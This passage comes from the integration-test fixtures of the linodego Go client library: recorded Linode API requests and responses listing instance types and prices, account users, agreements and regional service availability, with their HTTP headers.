\"You can now configure qdPM and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}], "page": 1, "pages": 26, "results": 2527}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive - Transfer-Encoding Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:39:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - stackscripts:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "20" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListTypes_all.yaml000066400000000000000000000542251474652371000315640ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types?page=1 method: GET response: body: '{"data": [{"id": "g6-nanode-1", "label": "Nanode 1GB", "price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.0105, "monthly": 7.0}], "addons": {"backups": {"price": {"hourly": 0.003, "monthly": 2.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.0036, "monthly": 2.4}, {"id": "br-gru", "hourly": 0.004, "monthly": 2.8}]}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus": 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.022, "monthly": 14.4}, {"id": "br-gru", "hourly": 0.025, "monthly": 16.8}], "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}, "region_prices": [{"id": "id-cgk", "hourly": 0.0045, "monthly": 3.0}, {"id": "br-gru", "hourly": 0.005, "monthly": 3.5}]}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB", "price": {"hourly": 0.036, "monthly": 24.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.043, "monthly": 28.8}, {"id": "br-gru", "hourly": 0.05, "monthly": 33.6}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor": null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.072, "monthly": 48.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.086, "monthly": 57.6}, {"id": "br-gru", "hourly": 0.101, "monthly": 67.2}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6", "label": "Linode 16GB", "price": {"hourly": 0.144, "monthly": 96.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.173, "monthly": 115.2}, {"id": "br-gru", "hourly": 0.202, "monthly": 134.4}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000, "class": "standard", "successor": null}, {"id": "g6-standard-8", "label": "Linode 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.346, "monthly": 230.4}, {"id": "br-gru", "hourly": 0.403, "monthly": 268.8}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor": null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly": 0.576, "monthly": 384.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.691, "monthly": 460.8}, {"id": "br-gru", "hourly": 0.806, "monthly": 537.6}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20", "label": "Linode 96GB", "price": {"hourly": 0.864, "monthly": 576.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.037, "monthly": 691.2}, {"id": "br-gru", "hourly": 1.21, "monthly": 806.4}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode 128GB", "price": {"hourly": 1.152, "monthly": 768.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.382, "monthly": 921.6}, {"id": "br-gru", "hourly": 1.613, "monthly": 1075.2}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.074, "monthly": 1382.4}, {"id": "br-gru", "hourly": 2.419, "monthly": 1612.8}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, "monthly": 60.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.108, "monthly": 72.0}, {"id": "br-gru", "hourly": 0.126, "monthly": 84.0}], "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.0105, "monthly": 7.0}]}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 49152, "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 92160, "disk": 92160, "transfer": 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72, "monthly": 480.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.864, "monthly": 576.0}, {"id": "br-gru", "hourly": 1.008, "monthly": 672.0}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus": 0, "network_out": 8000, "class": "highmem", "successor": null}, {"id": "g7-highmem-16", "label": "Linode 300GB", "price": {"hourly": 1.44, "monthly": 960.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.728, "monthly": 1152.0}, {"id": "br-gru", "hourly": 2.016, "monthly": 1344.0}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 307200, "disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated 4GB", "price": {"hourly": 0.054, "monthly": 36.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.065, "monthly": 43.2}, {"id": "br-gru", "hourly": 0.076, "monthly": 50.4}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": 0.108, "monthly": 72.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.13, "monthly": 86.4}, {"id": "br-gru", "hourly": 0.151, "monthly": 100.8}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8", "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.259, "monthly": 172.8}, {"id": "br-gru", "hourly": 0.302, "monthly": 201.6}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label": "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.518, "monthly": 345.6}, {"id": "br-gru", "hourly": 0.605, "monthly": 403.2}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price": {"hourly": 0.864, "monthly": 576.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.037, "monthly": 691.2}, {"id": "br-gru", "hourly": 1.21, "monthly": 806.4}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly": 1.296, "monthly": 864.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.555, "monthly": 1036.8}, {"id": "br-gru", "hourly": 1.814, "monthly": 1209.6}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-50", "label": "Dedicated 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.074, "monthly": 1382.4}, {"id": "br-gru", "hourly": 2.419, "monthly": 1612.8}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": "Dedicated 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "region_prices": [{"id": "id-cgk", "hourly": 4.147, "monthly": 2764.8}, {"id": "br-gru", "hourly": 4.838, "monthly": 3225.6}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.36, "monthly": 240.0}, {"id": "br-gru", "hourly": 0.42, "monthly": 280.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "region_prices": [{"id": "id-cgk", "hourly": 8.294, "monthly": 5529.6}, {"id": "br-gru", "hourly": 9.677, "monthly": 6451.2}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 1.5, "monthly": 1000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": []}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 1, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": []}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 2, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": []}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label": "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0}, "region_prices": [], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": []}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g7-premium-2", "label": "Premium 4GB", "price": {"hourly": 0.0645, "monthly": 43.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.078, "monthly": 51.84}, {"id": "br-gru", "hourly": 0.091, "monthly": 60.48}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "premium", "successor": null}, {"id": "g7-premium-4", "label": "Premium 8GB", "price": {"hourly": 0.129, "monthly": 86.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.156, "monthly": 103.68}, {"id": "br-gru", "hourly": 0.181, "monthly": 120.96}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "premium", "successor": null}, {"id": "g7-premium-8", "label": "Premium 16GB", "price": {"hourly": 0.2595, "monthly": 173.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.311, "monthly": 207.36}, {"id": "br-gru", "hourly": 0.363, "monthly": 241.92}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "premium", "successor": null}, {"id": "g7-premium-16", "label": "Premium 32GB", "price": {"hourly": 0.519, "monthly": 346.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.622, "monthly": 414.72}, {"id": "br-gru", "hourly": 0.726, "monthly": 483.84}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "premium", "successor": null}, {"id": "g7-premium-32", "label": "Premium 64GB", "price": {"hourly": 1.0365, "monthly": 691.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.244, "monthly": 829.44}, {"id": "br-gru", "hourly": 1.452, "monthly": 967.68}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "premium", "successor": null}, {"id": "g7-premium-48", "label": "Premium 96GB", "price": {"hourly": 1.5555, "monthly": 1037.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.866, "monthly": 1244.16}, {"id": "br-gru", "hourly": 2.177, "monthly": 1451.52}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "premium", "successor": null}, {"id": "g7-premium-50", "label": "Premium 128GB", "price": {"hourly": 2.073, "monthly": 1382.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.488, "monthly": 1658.88}, {"id": "br-gru", "hourly": 2.903, "monthly": 1935.36}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "premium", "successor": null}, {"id": "g7-premium-56", "label": "Premium 256GB", "price": {"hourly": 4.1475, "monthly": 2765.0}, "region_prices": [{"id": "id-cgk", "hourly": 4.977, "monthly": 3317.76}, {"id": "br-gru", "hourly": 5.806, "monthly": 3870.72}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.36, "monthly": 240.0}, {"id": "br-gru", "hourly": 0.42, "monthly": 280.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "premium", "successor": null}, {"id": "g7-premium-64", "label": "Premium 512GB", "price": {"hourly": 8.295, "monthly": 5530.0}, "region_prices": [{"id": "id-cgk", "hourly": 9.953, "monthly": 6635.52}, {"id": "br-gru", "hourly": 11.612, "monthly": 7741.44}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "premium", "successor": null}], "page": 1, "pages": 1, "results": 37}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:40:26 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListUsers.yaml000066400000000000000000000034771474652371000307340ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users?page=1 method: GET response: body: '{"data": [{"username": "ErikZilber", "email": "ezilber@akamai.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": "+11234567890", "password_created": "2018-01-02T03:04:05", "last_login": {"login_datetime": "2018-01-02T03:04:05", "status": "successful"}, "user_type": "default"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountAgreements_List.yaml000066400000000000000000000031541474652371000327150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/agreements method: GET response: body: '{"privacy_policy": true, "eu_model": false, "master_service_agreement": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "78" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 30 Oct 2024 14:07:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountAvailability_Get.yaml000066400000000000000000000037241474652371000330440ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/availability/us-east method: GET response: body: '{"region": "us-east", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "114" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountAvailability_List.yaml000066400000000000000000000141001474652371000332260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/availability?page=1 method: GET response: body: '{"data": [{"region": "us-central", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-west", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-southeast", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-east", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "eu-west", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "ap-south", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "eu-central", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "ap-northeast", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "ap-west", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "ca-central", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "ap-southeast", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-iad", "available": ["Linodes", "NodeBalancers", "Block Storage"], "unavailable": ["Kubernetes"]}, {"region": "us-ord", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "fr-par", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], 